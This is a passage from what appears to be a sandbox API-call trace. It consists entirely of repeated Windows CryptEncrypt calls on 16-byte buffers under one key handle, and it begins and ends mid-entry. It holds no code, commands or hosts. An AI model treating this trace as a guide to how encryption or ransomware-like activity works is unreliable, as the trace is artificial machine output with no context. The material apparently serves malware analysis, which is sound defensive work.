pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.403] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.403] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.403] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.403] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.403] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.403] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.403] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.403] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.403] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.403] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.404] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.404] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.404] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.404] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.404] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.404] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.404] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.404] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.404] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.404] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.404] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.404] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.405] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.405] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.405] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.405] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.405] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.405] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.405] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.405] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.405] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.405] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.405] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.405] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.405] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.406] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.406] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.406] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.406] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.406] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.406] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.406] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.406] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.406] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.406] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.406] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.406] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.406] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.406] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.407] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.407] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.407] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.407] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.407] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.407] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.407] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.407] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.407] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.407] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.407] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.407] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.407] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.407] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.408] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.408] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.408] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.408] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.408] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.408] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.408] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.408] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.408] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.408] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.408] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.408] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.422] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.422] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.422] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.422] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.422] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.422] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.422] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.422] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.422] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.422] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.422] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.422] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.422] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.422] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.422] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.422] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.423] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.423] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.423] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.423] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.423] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.423] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.423] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.423] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.423] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.423] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.423] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.423] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.423] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.423] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.423] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.423] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.423] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, 